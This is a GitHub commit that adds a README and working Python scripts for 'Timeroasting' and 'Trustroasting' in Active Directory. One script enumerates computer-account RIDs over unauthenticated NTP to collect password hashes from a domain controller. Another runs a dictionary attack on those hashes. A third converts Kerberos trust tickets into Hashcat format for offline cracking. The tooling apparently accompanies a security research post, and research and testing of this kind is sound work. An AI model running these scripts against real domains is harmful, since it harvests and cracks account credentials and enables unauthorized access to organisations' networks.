Skip to content

Commit 79b4c53

Browse files
Added README and scripts.
1 parent 287df8d commit 79b4c53

File tree

6 files changed

+279
-0
lines changed

6 files changed

+279
-0
lines changed

README.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
Timeroast and Trustroast scripts
2+
================================
3+
4+
Python scripts accompanying the blog post _Timeroasting, trustroasting and computer spraying: taking advantage of weak computer and trust account passwords in Active Directory_. These support the _timeroasting_ and _trustroasting_ attack techniques by discovering weak computer or trust passwords within an Active Directory domain.
5+
6+
How to run
7+
----------
8+
9+
Both scripts require Python 3.6 or higher. No installation is required. The Timeroasting scripts have no further
10+
dependencies and the Trustroast scripts solely depends on [Impact](https://github.com/fortra/impacket).
11+
12+
Run each script with `-h` for usage instructions.
13+
14+
Timeroasting
15+
------------
16+
17+
![Timeroasting example screenshot](img1.png)
18+
19+
Timeroasting takes advantage of the Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID. This is not a problem when computer accounts are properly generated, but if a non-standard or legacy default password is set this tool allows you to brute-force those offline.
20+
21+
Two scripts are included:
22+
23+
- `timeroast.py`: given a DC domain name or IP, will attempt to get 'NTP hashes' of the computer accounts in the domain by enumerating RID's. Requires root privileges in order to be able to receive NTP responses.
24+
- `timecrack.py`: performs a simple, unoptimized, dictionary attack on the results of `timeroast.py`.
25+
26+
I am currently looking at getting support for Timeroasted hashes into an optimized hash cracking tool. If that succeeds, I will add support for that tool's input format and `timecrack.py` will become obsolete.
27+
28+
29+
Trustroasting
30+
-------------
31+
32+
![Example screenshot of kirbi_to_hashcat.py](img2.png)
33+
34+
I currently have not implemented a convenient `trustroast.py` script that will automatically enumerate trusts and fetch tickets. However, this can easily be achieved with [Rubeus](https://github.com/GhostPack/Rubeus) in the way described in the blog post. I did add a simple script which converts Rubeus' output format into something you can slot into Hashcat:
35+
36+
- `kirbi_to_hashcat.py`: converts a Kerberos ticket (referall/trust, service, ticket-granting, etc.) that is encoded as a base64 KRB_CRED structure into a Hashcat format. Hash types 13100, 19600, 19700 (RC-4 and AES tickets) are supported.

img1.png

95 KB
Loading

img2.png

146 KB
Loading

timeroast/timecrack.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/usr/bin/env python3
2+
3+
"""Perform a simple dictionary attack against the output of timeroast.py. Neccessary because the NTP 'hash' format
4+
unfortunately does not fit into Hashcat or John right now.
5+
6+
Not even remotely optimized, but still useful for cracking legacy default passwords (where the password is the computer
7+
name) or specific default passwords that are popular in an organisation.
8+
"""
9+
10+
from binascii import hexlify, unhexlify
11+
from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter
12+
import hashlib, sys
13+
14+
def compute_hash(password, salt):
15+
"""Compute a legacy NTP authenticator 'hash'."""
16+
return hashlib.md5(hashlib.new('md4', password.encode('utf-16le')).digest() + salt).digest()
17+
18+
def try_crack(hashfile, dictfile):
19+
# Try each dictionary entry for each hash. dictfile is read iteratively while hashfile is stored in RAM.
20+
hashes = [line.strip().split(':', 3) for line in hashfile if line.strip()]
21+
hashes = [(int(rid), unhexlify(hashval), unhexlify(salt)) for [rid, hashval, salt] in hashes]
22+
for password in dictfile:
23+
password = password.strip()
24+
for rid, hashval, salt in hashes:
25+
if compute_hash(password, salt) == hashval:
26+
yield rid, password
27+
28+
def main():
29+
argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
30+
"""Perform a simple dictionary attack against the output of timeroast.py.
31+
Neccessary because the NTP 'hash' format unfortunately does not fit into Hashcat
32+
or John right now.
33+
34+
Not even remotely optimized, but still useful for cracking legacy default
35+
passwords (where the password is the computer name) or specific default
36+
passwords that are popular in an organisation.
37+
""")
38+
39+
argparser.add_argument('hashes', type=FileType('r'), help='Output of timeroast.py')
40+
argparser.add_argument('dictionary', type=FileType('r'), help='Line-delimited password dictionary')
41+
args = argparser.parse_args()
42+
43+
crackcount = 0
44+
for rid, password in try_crack(args.hashes, args.dictionary):
45+
print(f'[+] Cracked RID {rid} password: {password}')
46+
crackcount += 1
47+
48+
print(f'\n{crackcount} passwords recovered.')
49+
50+
if __name__ == '__main__':
51+
main()
52+
53+

timeroast/timeroast.py

Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
#!/usr/bin/env python3
2+
3+
from binascii import hexlify, unhexlify
4+
from argparse import ArgumentParser, FileType, ArgumentTypeError, RawDescriptionHelpFormatter
5+
from typing import *
6+
from select import select
7+
from time import time
8+
from sys import stdout, stderr
9+
from itertools import chain
10+
from socket import socket, AF_INET, SOCK_DGRAM
11+
from struct import pack, unpack
12+
13+
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
14+
NTP_PREFIX = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a')
15+
16+
# Default settings.
17+
DEFAULT_RATE = 180
18+
DEFAULT_GIVEUP_TIME = 24
19+
20+
21+
def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float) -> List[Tuple[int, bytes, bytes]]:
22+
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
23+
Rate is the number of queries per second to send.
24+
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
25+
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
26+
issues.
27+
28+
Yields (rid, hash, salt) pairs, where salt is the NTP response data."""
29+
30+
# Bind UDP socket.
31+
with socket(AF_INET, SOCK_DGRAM) as sock:
32+
sock.bind(('0.0.0.0', 123))
33+
34+
query_interval = 1 / rate
35+
last_ok_time = time()
36+
rids_received = set()
37+
rid_iterator = iter(rids)
38+
39+
while time() < last_ok_time + giveup_time:
40+
41+
# Send out query for the next RID, if any.
42+
query_rid = next(rid_iterator, None)
43+
if query_rid is not None:
44+
query = NTP_PREFIX + pack('<I', query_rid) + b'\x00' * 16
45+
sock.sendto(query, (dc_host, 123))
46+
47+
# Wait for either a response or time to send the next query.
48+
ready, [], [] = select([sock], [], [], query_interval)
49+
if ready:
50+
reply = sock.recvfrom(120)[0]
51+
52+
# Extract RID, hash and "salt" if succesful.
53+
if len(reply) == 68:
54+
salt = reply[:48]
55+
answer_rid = unpack('<I', reply[-20:-16])[0]
56+
md5hash = reply[-16:]
57+
58+
# Filter out duplicates.
59+
if answer_rid not in rids_received:
60+
rids_received.add(answer_rid)
61+
yield (answer_rid, md5hash, salt)
62+
last_ok_time = time()
63+
64+
def get_args():
65+
"""Parse command-line arguments."""
66+
67+
argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
68+
"""Performs an NTP 'Timeroast' attack against a domain controller.
69+
Outputs hex encoded<RID>:<hash>:<salt> triplets where the 'hash' is
70+
defined as MD5(NTLM-hash || salt).
71+
72+
The timecrack.py script can be used to run a dictionary attack against the
73+
hashes.
74+
75+
Usernames within the hash file are user RIDs. In order to use a cracked
76+
password that does not contain the computer name, either look up the RID
77+
in AD (if you already have some account) or use a computer name list obtained
78+
via reverse DNS, service scanning, SMB NULL sessions etc.
79+
"""
80+
)
81+
82+
83+
def num_ranges(arg):
84+
# Comma-seperated integer ranges.
85+
try:
86+
ranges = []
87+
for part in arg.split(','):
88+
if '-' in part:
89+
[start, end] = part.split('-')
90+
assert 0 <= int(start) < int(end) < 2**31
91+
ranges.append(range(int(start), int(end) + 1))
92+
else:
93+
assert 0 <= int(part) < 2**31
94+
ranges.append(int(part))
95+
96+
return chain(ranges)
97+
except:
98+
raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')
99+
100+
101+
# Configurable options.
102+
argparser.add_argument(
103+
'-o', '--out',
104+
type=FileType('w'), default=stdout, metavar='FILE',
105+
help='Hash output file. Writes to stdout if omitted.'
106+
)
107+
argparser.add_argument(
108+
'-r', '--rids',
109+
type=num_ranges, default=range(1, 2**31), metavar='RIDS',
110+
help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\
111+
'By default, all possible RIDs will be tried until timeout.'
112+
)
113+
argparser.add_argument(
114+
'-a', '--rate',
115+
type=int, default=DEFAULT_RATE, metavar='RATE',
116+
help=f'NTP queries to execute second per second. Higher is faster, but with a greater risk of dropped packages ' +\
117+
f'resulting in incomplete results. Default: {DEFAULT_RATE}.'
118+
)
119+
argparser.add_argument(
120+
'-t', '--timeout',
121+
type=int, default=DEFAULT_GIVEUP_TIME, metavar='TIMEOUT',
122+
help=f'Quit after not receiving NTP responses for TIMEOUT seconds, possibly indicating that RID space has ' +\
123+
f'been exhausted. Default: {DEFAULT_GIVEUP_TIME}.'
124+
)
125+
126+
# Required arguments.
127+
argparser.add_argument(
128+
'dc',
129+
help='Hostname or IP address of domain controller that acts as NTP server.'
130+
)
131+
132+
return argparser.parse_args()
133+
134+
135+
def main():
136+
"""Command-line interface."""
137+
138+
args = get_args()
139+
output = args.out
140+
for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout):
141+
print(f'{rid}:{hexlify(hashval).decode()}:{hexlify(salt).decode()}', file=output)
142+
143+
144+
if __name__ == '__main__':
145+
main()

trustroast/kirbi_to_hashcat.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#!/usr/bin/env python3
2+
3+
"""Simple script that extracts the first ticket from a base64 encoded KRB_CRED structure (i.e. Rubeus' asktgs
4+
output) and then outputs it in Hashcat format"""
5+
6+
from pyasn1.codec.der import decoder
7+
from impacket.krb5.asn1 import KRB_CRED
8+
from binascii import hexlify
9+
import sys
10+
from base64 import b64encode, b64decode
11+
from argparse import ArgumentParser, RawDescriptionHelpFormatter, FileType
12+
13+
argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
14+
"""Converts a Kerberos ticket from a base64 encoded KRB_CRED format to a Hashcat
15+
$krb5tgs$ hash. The main use case is brute-forcing trust passwords based on a
16+
trust ticket retrieved with a tool such as Rubeus.
17+
18+
If the KRB_CRED input contains multiple tickets, the first one is taken. Output
19+
is written to STDOUT.
20+
""")
21+
argparser.add_argument('file', type=FileType('r'), default=sys.stdin, nargs='?', \
22+
help='Input file (STDIN if omitted)')
23+
args = argparser.parse_args()
24+
25+
# Parse base64 encoded KRB_CRED.
26+
data = b64decode(args.file.read())
27+
creds = decoder.decode(data, asn1Spec=KRB_CRED())[0]
28+
29+
# Take the first ticket from the store.
30+
ticket = creds['tickets'][0]
31+
32+
# Extract components relevant for cracking.
33+
realm = ticket['realm']
34+
sname = '/'.join(str(s) for s in ticket['sname']['name-string'])
35+
enctype = ticket['enc-part']['etype']
36+
ciphertext = hexlify(ticket['enc-part']['cipher'].asOctets()).decode()
37+
38+
if enctype == 23:
39+
# RC4 ticket.
40+
print(f'$krb5tgs${enctype}$*USERNAME${realm}${sname}*${ciphertext[:32]}${ciphertext[32:]}')
41+
elif enctype == 17 or enctype == 18:
42+
# AES ticket.
43+
print(f'$krb5tgs${enctype}$USERNAME${realm}$*{sname}*${ciphertext[:32]}${ciphertext[32:]}')
44+
else:
45+
raise Exception(f'Unsupported encryption type: {enctype}')

0 commit comments

Comments
 (0)